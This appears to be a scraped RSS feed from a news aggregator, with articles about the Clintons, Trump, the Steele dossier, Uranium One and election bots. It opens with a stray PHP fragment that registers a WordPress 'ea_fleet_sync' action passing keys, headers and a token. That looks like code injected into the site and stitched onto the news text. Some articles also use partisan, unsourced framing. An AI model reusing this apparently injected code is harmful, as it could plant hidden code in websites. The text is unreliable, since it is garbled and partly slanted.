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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Clinton – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 20 Sep 2022 00:16:41 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Clinton – Brief News https://briefnews.eu 32 32 Trump thought that he, as president, could prosecute Clinton and Comey, book says https://briefnews.eu/trump-thought-that-he-as-president-could-prosecute-clinton-and-comey-book-says/ https://briefnews.eu/trump-thought-that-he-as-president-could-prosecute-clinton-and-comey-book-says/#respond Tue, 20 Sep 2022 00:16:41 +0000 https://briefnews.eu/trump-thought-that-he-as-president-could-prosecute-clinton-and-comey-book-says/ Donald Trump
Former President Donald Trump.

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  • Donald Trump once threatened to use his role as president to prosecute his political foes.
  • A White House attorney had to explain to the then president that he had no such power.
  • The episode was chronicled in "The Divider," a new book obtained by Insider ahead of its publication.

Former President Donald Trump once required a civics lesson from White House counsel on the limits of his power after he suggested that as president, he could — and would — prosecute his political enemies, according to a new book from Peter Baker of The New York Times and Susan Glasser of The New Yorker.

Throughout his tenure, Trump had a penchant for skewering his foes via Twitter takedowns and public lashings. But some of his adversaries irked the then-president so much so that he sought a more permanent form of revenge against them.

According to "The Divider," which Insider obtained ahead of its Sept. 20 publication, Trump frequently pressured Former US Attorneys General Jeff Sessions and Bill Barr to bring criminal charges against his opponents, including Hillary Clinton and former FBI director James Comey.

"At one point in the spring of 2018, Trump instructed [former White House Counsel] Don McGahn to direct Sessions to prosecute Clinton and Comey and, if the attorney general refused, said he would do it himself as president," Baker and Glasser wrote. "McGahn had to explain that the president had no such power."

"You can't prosecute anybody," McGahn told Trump, according to the book.

McGahn followed up his explanation with an "extraordinary memo" explaining to Trump the illegal nature of using his position as president to go after his political enemies, comparing such a move to that of a dictator, according to the book.

"'Congress could seek to 'impeach and remove' the president if it concluded that he abused the power of intervening in a criminal matter,' McGahn wrote, using boldface and italics to emphasize his point," Glasser and Baker wrote. 

A spokesperson for Trump did not immediately respond to Insider's request for comment. 

Several former Trump White House and government officials have since recounted similar stories that suggest the former president was unfamiliar with the logistics of his newfound position.

Earlier this year, Barr said Trump didn't have a "good idea" of what the roles of the president or Justice Department entitled throughout his time in office. 

In the 2021 CIA publication, "Getting to Know the President," author John L. Helgerson, a former intelligence officer, said Trump was the most difficult incoming president to brief, and an August New York Times report cited intelligence officials who said they often withheld information from Trump for fear of the "damage" he might do if he knew. 

Included in "The Divider" is an anecdote about Trump's former chief of staff John Kelly, whom the authors said purchased a book "to understand the president's particular psychoses" in an attempt to cope with the former president's erratic behavior. 

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  • Former President Bill Clinton says Democrats have a shot of holding Congress in 2022.
  • But Clinton warned Republicans will "scare the living daylights" out of swing voters.
  • Clinton told CNN Republicans "made critical race theory sound worse than smallpox" in 2021. 

Former President Bill Clinton said Democrats can retain control of Congress in the 2022 midterms, but warns Republicans will "scare the living daylights out of swing voters" in an interview with CNN's Fareed Zakaria. 

Zakaria asked Clinton if Democrats, who have seen encouraging signs about their midterm prospects in recent weeks, can break the decades-long trend of the president's party losing control of Congress in midterm elections. 

"Absolutely we could hold both these Houses, but we have to say the right things," Clinton told Zakaria in the interview, which aired Sunday. "And we have to know the Republicans always close well. Why? Because they find some new way to scare the living daylights out of swing voters about something. That's what they did in 2021 when they made critical race theory sound worse than smallpox." 

In 2021, Republicans swept the top three statewide offices in Virginia, which had previously been trending towards Democrats, and put up an unexpectedly strong showing in New Jersey's gubernatorial race partly by mobilizing voters, especially parents, over both the teaching of race in schools and COVID-19 induced school closures.  

"They just scare people," Clinton added. "And in the end, the breakpoint in American politics is not that much different than the 90s. You still have to get those people, it's just that there's so many fewer of them, because as the parties have gotten more ideological and clear and somehow psychically intolerant, they pull more and more people towards the extremes." 

 

Increased polarization and partisanship since Clinton held office in the 1990s means fewer persuadable swing voters and fewer willing to cross party lines. The 2020 election, for example, saw record-low numbers of voters splitting their tickets between elect. But Clinton still argued that "there's some people who are hanging on there and trying to think, and trying to understand what's going on."  

Zakaria also asked Clinton about the recent death of Ken Starr.

The hard-charging special prosecutor, who died at age 76, doggedly investigated the Clintons first in the Whitewater probe, over their real estate dealings in Arkansas. The investigation then zeroed in on Clinton's extramarital affair with then-White House intern Monica Lewinsky, which became the biggest scandal of his presidency and led to his impeachment. 

"Well, I read the obituary, and I realized that his family loved him, and I think that's something to be grateful for, and when your life is over that's all there is to say," Clinton said of Starr."But I was taught not to talk about people that I — you know. I have nothing to say. Except I'm glad he died with the love of his family."

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  • Former Secretary of State Hillary Clinton shared some of her memories with Queen Elizabeth II.
  • Clinton said she and the late Queen had privately remarked on being women leaders.
  • The late Queen's coffin was driven from Balmoral Castle to Edinburgh on Sunday.

Former Secretary of State Hillary Clinton shared her memories with Queen Elizabeth II as funeral processions have begun for the late monarch.

On CNN's "State of the Union" with Dana Bash on Sunday, Clinton said she and Queen Elizabeth II would sometimes share "wry" comments about being women leaders on an international stage.

"I can't say that I talked at any length. Sometimes, there would be a wry exchange about how, as a woman leader, you always had to have your hair done," Clinton said on Sunday. "Of course, she always looked perfect, unlike some of us. She had a sense of style that really stayed with her."

 

Clinton described the late Queen as a "symbol of a strong, stalwart woman leader."

"I knew that her sense of who she was and the role she played literally governed her life, from every second of it," Clinton said, adding that she heard an interesting statistic that nine out of 10 people alive in the world today were born after she became Queen Elizabeth took the throne.

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Clinton praised the Queen for her "devotion to duty and her sense of obligation" to her people. 

"But I also saw a more playful and somewhat funny and very, incredibly warm side of her as well," Clinton said. "All of the presidents, all of the prime ministers, everyone that she met, I think, saw that twinkle in her eye, and maybe were lucky enough to exchange pleasantries that went beyond just the official greetings."

Clinton added: "And that's how I felt. I felt very fortunate to see her in different settings over the time that I knew her as first lady and then secretary of state."

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  • Hillary Clinton said she would ask Supreme Court Justice Clarence Thomas: "Don't you want to retire?" 
  • On "Watch What Happens Live," Andy Cohen prompted Clinton to ask questions to the famous people he showed on screen. 
  • She also said she'd ask Melania Trump how her summer is going after the FBI raided Donald Trump's Mar-a-Lago.

Hillary Clinton has a question for Supreme Court Justice Clarence Thomas: "Don't you want to retire?" 

During a Thursday night appearance on Andy Cohen's "Watch What Happens Live" accompanied by her daughter, Chelsea, Cohen prompted Hillary Clinton to share one question she would ask each celebrity he shows on the screen. 

Cohen first showed Melania Trump. Hillary Clinton asked: "How's your summer going?" 

The FBI raided Donald Trump's Mar-a-Lago property in Florida in August. The former president is being investigated to see if he broke federal laws on handling classified info.

When Thomas' photo graced the screen, Chelsea Clinton couldn't keep in a laugh. 

"Don't you want to retire?" Hillary Clinton asked. Cohen and his audience laughed and applauded after the joke. 

Thomas has been at the center of controversy this year, as media reports have revealed his wife, Ginny Thomas, tried to convince others to overthrow Joe Biden's election in 2020. Thomas also wrote a stunning opinion after the Supreme Court threw out Roe v. Wade, arguing that other rights like gay marriage and the right to contraception could be overturned as well.

She then said she would ask Mark Zuckerberg if he would let his kids go on Facebook. 

Hillary Clinton said she wanted to ask Harry Styles who does his clothes and she would ask Beyonce "How do you remain amazing all the time?" 

What would she ask Cher? "Is there still life after love?" 

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Hillary Clinton is coming back in 2020… to Hulu, that is.

The streamer will unveil a four-part documentary series on the former First Lady/Secretary of State/presidential candidate titled Hillary, which will premiere Friday, March 6, after debuting at the Sundance Film Festival.

Directed by Oscar-nominated filmmaker Nanette Burstein (The Kid Stays in the Picture, 30 for 30‘s “The Price of Gold”), Hillary will trace Clinton’s entire life and decades as a public figure, with exclusive interviews with Hillary and Bill Clinton and their daughter Chelsea, along with friends, colleagues and journalists.

“Secretary Clinton gave me extraordinary access to her life story, which is utterly compelling,” Burstein said in a statement. “Beyond that, given the particulars of her narrative, we were able to highlight the history of the women’s movement over the last fifty years, and especially what happens to women who aspire to take on roles traditionally inhabited by men.”

Hulu also released a teaser for the documentary — which you can watch above — with Hillary admitting, “I provoke strong opinions… what you see is what you get.” (Bill also reveals that he once told Hillary, “I really want to marry you, but you shouldn’t marry me.”) Press PLAY above for a sneak peek, and then hit the comments and tell us: Will you be watching?  

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“Prince Andrew said in his interview, one of the beguiling things about Jeffrey Epstein was he was great for contacts,” Morgan reiterated. 

Hervey replied: “We had an extraordinary dinner. Donald Trump was there, Bill Clinton. I was very young, very impressionable. 

“Jeffrey was a very charismatic man. He wold walk into a room and people would take notice, him and Ghislaine [Maxwell], it was teamwork – he had the finances, she had the black book. 

“They were a great pair together, taking over the world,” she added. 

Morgan and Reid wanted to discuss the dinner party further and asked: “How many people were there?” and Hervey said: “Not many, probably about 14 people.

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]]> https://briefnews.eu/trump-clinton-and-prince-andrew-attended-dinner-party-with-epstein-lady-hervey-reveals/feed/ 0 Trump-Russia dossier was created so Clinton could challenge 2016 election results – Steele https://briefnews.eu/trump-russia-dossier-was-created-so-clinton-could-challenge-2016-election-results-steele/ https://briefnews.eu/trump-russia-dossier-was-created-so-clinton-could-challenge-2016-election-results-steele/#respond Tue, 18 Dec 2018 14:10:28 +0000 http://briefnews.eu/trump-russia-dossier-was-created-so-clinton-could-challenge-2016-election-results-steele/

The British ex-spy who authored the infamous dossier alleging collusion between Donald Trump and the Kremlin said one of his goals was to give Hillary Clinton legal basis to challenge the 2016 election results.

Christopher Steele’s salacious 17-page report was commissioned by Fusion GPS, a firm connected to Clinton’s campaign.

“Based on that advice, parties such as the Democratic National Committee and HFACC Inc. (also known as ‘Hillary for America’) could consider steps they would be legally entitled to take to challenge the validity of the outcome of that election,” Steele wrote in recently unsealed declaration that was published by the Washington Times.




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His statement is part of a series of answers which Steele provided in a defamation suit brought by three Russians who head Alfa Bank, who were named in the dossier as part of the alleged collusion conspiracy between Trump and the Kremlin.

The court challenge never came. Instead, the unsubstantiated dossier was leaked to news outlets such as BuzzFeed, fuelling Russiagate hysteria and serving as the backbone of a two-year probe that has yet to corroborate any of the document’s core claims. The document was also used by the FBI to obtain a warrant to spy on former Trump aide Carter Page, who was accused by Steele of meeting secretly with Kremlin insiders in Moscow. Incredibly, former FBI Director James Comey admitted that his agency had not verified the dossier’s contents before using it to justify the warrant.
The dossier itself has apparently fallen out of favor with many of its early champions: One of the first journalists to report on Steele’s research has stated that many of Steele’s central claims have yet to be substantiated and are “likely false.”




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The defamation case against Steele was dismissed by a DC Superior Court judge, but lawyers representing the Russian bankers have launched an appeal in US District court, attaching Steele’s revelatory statements as part of their filing. Steele faces similar legal trouble in London, where he is being sued for defamation by Russian entrepreneur Aleksej Gubarev. In one of his memos, Steele accused Gubarev of personally hacking DNC computers. Gubarev has also sued BuzzFeed for publishing the unverified claim as part of its uncritical coverage of the dossier.

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]]> https://briefnews.eu/trump-russia-dossier-was-created-so-clinton-could-challenge-2016-election-results-steele/feed/ 0 Just Messing: Twitter outrage at Bernie Sanders being cast as a JUDAS to Hillary ‘Jesus’ Clinton https://briefnews.eu/just-messing-twitter-outrage-at-bernie-sanders-being-cast-as-a-judas-to-hillary-jesus-clinton/ https://briefnews.eu/just-messing-twitter-outrage-at-bernie-sanders-being-cast-as-a-judas-to-hillary-jesus-clinton/#respond Sat, 15 Dec 2018 22:22:00 +0000 http://briefnews.eu/just-messing-twitter-outrage-at-bernie-sanders-being-cast-as-a-judas-to-hillary-jesus-clinton/

Actor Debra Messing has been slammed over reposting a tweet which boldly refers to Hillary Clinton as being a “modern-day Jesus” who was “betrayed and crucified” by Judas – also known as Bernie Sanders.

“Today @DebraMessing decided to share a tweet to her half-million followers accusing Bernie of being ‘Judas’ who ‘betrayed’ & ‘crucified’ the ‘modern-day Jesus’ (Hillary),” journalist Glenn Greenwald tweeted.

It came after Messing shared this tweet on her feed, which was originally written in April 2017 by the Twitter handle @MadamClinton.

Greenwald went on to call Messing’s action “as ugly, bigoted, and toxic as anything anyone got fired for doing this year.”

He then sarcastically noted another “parallel” between Jesus and Hillary Clinton.

“A lot of people don’t know that Jesus charged massive speaking fees to speak to money-changers before wrecking their tables in the temple and then casting them out,” he said.

Clinton has been cast in the spotlight numerous times over the years for excessive fees collected for turning up at events and saying a few words. Some of her speeches after leaving the post of secretary of state paid $ 200,000 a pop. All in all, she’s made many millions on the speaking circuit.

Meanwhile, Greenwald wasn’t the only one who was angered by Messing’s retweet. One person questioned whether the tweet was satire.

Another, well, they brought their grandpa’s farm into it.

And then there was this pun.

One person concluded that Messing simply can’t be considered “normal.”

Others pointed out that Sanders would be the more likely candidate to be compared to Jesus.

Messing has become a routine armchair activist when it comes to praising Clinton and slamming Trump, speaking out when Texas cut her name from a student curriculum and celebrating when a planned speech by Breitbart editor Milo Yiannopoulous was canceled at Berkeley – despite the university being the birthplace of free speech.

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More than a dozen FBI agents searched for six hours the house of a contractor who had given Congress and the DOJ documents about the Clinton Foundation and the Uranium One scandal, implicating then-FBI director Robert Mueller.

Sixteen agents showed up at the Maryland home of Dennis Nathan Cain on November 19, the Daily Caller reported this week, citing Cain’s attorney Michael Socarras. They demanded to see the documents Cain had already turned over to the Department of Justice inspector-general and the House and Senate intelligence committee.

“I cannot believe the Bureau informed the federal magistrate who approved the search warrant that they wanted to search the home of an FBI whistleblower to seize the information that he confidentially disclosed to the IG and Congress,” said Socarras. He also objected to the fact that the FBI at no point reached out to him, even though Cain provided the agents with his contact information, calling that “serious misconduct.”

FBI spokesman Dave Fitz confirmed to the Daily Caller that the bureau had conducted “court authorized law enforcement activity,” declining to comment further.

The search warrant, signed by federal magistrate Stephanie A. Gallagher in the US District Court for Baltimore, said that Cain possessed “stolen federal property.”

Cain informed the agents that he was a federally protected whistleblower, but gave them the documents at their insistence, Socarras said. Even so, they searched his house for hours afterward.

What were the agents looking for? According to the Daily Caller, they were after the document suggesting that Robert Mueller – now special counsel in charge of the “Russiagate” probe targeting President Donald Trump, but FBI director back in 2001-2013 – failed to investigate allegations of criminal misconduct in the case of Uranium One.

The Canadian-based mining company controls over 20 percent of the US uranium supply, and was sold to the Russian conglomerate Rosatom in 2010. The sale needed to be approved by the Committee on Foreign Investment in the United States (CIFUS), which was chaired by then-Secretary of State Hillary Clinton.




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Since then, multiple whistleblowers have revealed claims of misconduct, bribery and fraud on part of the people involved in the sale, even suggesting a “pay for play” scheme in which the Clinton Foundation received millions of dollars in donations in exchange for greenlighting the deal. Republicans have also pointed to Bill Clinton’s $ 500,000 fee for a speech in Moscow in 2010 as evidence the Clintons were peddling influence for Russian money.

Democrats have dismissed the apparent scandal as a right-wing conspiracy theory, and Clinton herself called the accusations of wrongdoing “baloney.”

In April this year, then-Attorney General Jeff Sessions asked the Utah-based US Attorney John Huber to investigate both the Uranium One probe and the FBI investigation into Clinton’s use of a private email server. That second probe was the subject of a scathing report in June by the DOJ IG Michael Horowitz, the same official to whom Cain gave the documents as a whistleblower. The status of that investigation is currently unknown.

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]]> https://briefnews.eu/fbi-raids-home-of-whistleblower-who-had-dirt-on-clinton-foundation-mueller/feed/ 0 Clinton bots more talkative & influential than Trump bots around 2016 debates, study finds https://briefnews.eu/clinton-bots-more-talkative-influential-than-trump-bots-around-2016-debates-study-finds/ https://briefnews.eu/clinton-bots-more-talkative-influential-than-trump-bots-around-2016-debates-study-finds/#respond Tue, 06 Nov 2018 08:46:26 +0000 http://briefnews.eu/clinton-bots-more-talkative-influential-than-trump-bots-around-2016-debates-study-finds/

While the popular narrative blames Clinton’s 2016 electoral loss on (Russian) bots, they actually helped her chances, according to a new study finding pro-Clinton bots were more effective at influencing voters than pro-Trump ones.

While there were almost twice as many pro-Trump bots in operation before the 2016 election, the pro-Clinton bots were much more likely to change people’s political opinions because they were much more active, MIT researcher Tauhid Zaman discovered.

Zaman analyzed 2.3 million tweets referencing the second presidential debate and found less than one percent of the accounts involved were bots. He measured the real users’ opinions using two models – one based on their tweets and one on their network of connections – and then remeasured without the inclusion of the bots in the networks. To his surprise (he’s a registered Democrat, according to a disclosure statement that accompanied the study) the average level of support for Clinton dropped from 58 to 42.

The Clinton bots, it turned out, were able to exercise such an outsize influence on their networks because they tweeted on average 1.5 times as often as the Trump bots. The content of the bots’ tweets was roughly the same – retweets of the candidates or other influential users – but the quantity of those retweets had a definite effect.

Zaman cautioned that the results could not be extrapolated to the entire voting population – the research only dealt with a short period of time surrounding the debates and studied a relatively small sample of Twitter users. Still, those in charge of social media “outreach” for candidates can learn a lot from this information – if you’re going to fake a following, fake an enthusiastic following!

While Zaman’s research showed Trump had a higher rate of support among bots, a 2015 analysis using the tool TwitterAudit found Clinton had more fake followers – 41 percent of her total Twitter fans.

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